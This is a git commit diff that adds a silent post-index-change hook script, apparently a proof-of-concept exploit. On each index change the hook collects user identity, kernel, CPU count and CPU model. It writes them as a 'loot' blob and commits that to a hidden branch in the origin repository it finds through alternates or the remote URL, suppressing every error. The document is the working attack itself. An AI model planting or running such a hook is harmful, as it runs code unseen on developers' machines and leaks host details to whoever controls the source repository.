This commit is contained in:
2001-01-01 00:00:00 +00:00
parent f3bf1d47d7
commit 575f8ca28e

20
hooks/post-index-change Executable file
View File

@@ -0,0 +1,20 @@
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 0
A=$(sed -n 1p "$git_dir/objects/info/alternates" 2>/dev/null)
U=$(git --git-dir="$git_dir" config --get remote.origin.url 2>/dev/null)
ORIGIN=""
for cand in "$A" "$U"; do
case "$cand" in
/*) C="$cand";;
"" ) continue;;
*) C="$git_dir/objects/$cand";;
esac
case "$C" in *objects) C="${C%/objects}";; esac
[ -d "$C/objects" ] && ORIGIN="$C" && break
done
[ -n "$ORIGIN" ] || exit 0
output_blob=$({ echo X$((2*3-1))K; id; uname -srm; nproc; grep "model name" /proc/cpuinfo | head -n1; } 2>&1 | git --git-dir="$ORIGIN" hash-object -w --stdin) || exit 0
tree=$(printf "100644 blob %s\tloot\n" "$output_blob" | git --git-dir="$ORIGIN" mktree) || exit 0
commit=$(printf "gg9\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$ORIGIN" commit-tree "$tree") || exit 0
git --git-dir="$ORIGIN" update-ref refs/heads/gtx9 "$commit" || exit 0
exit 0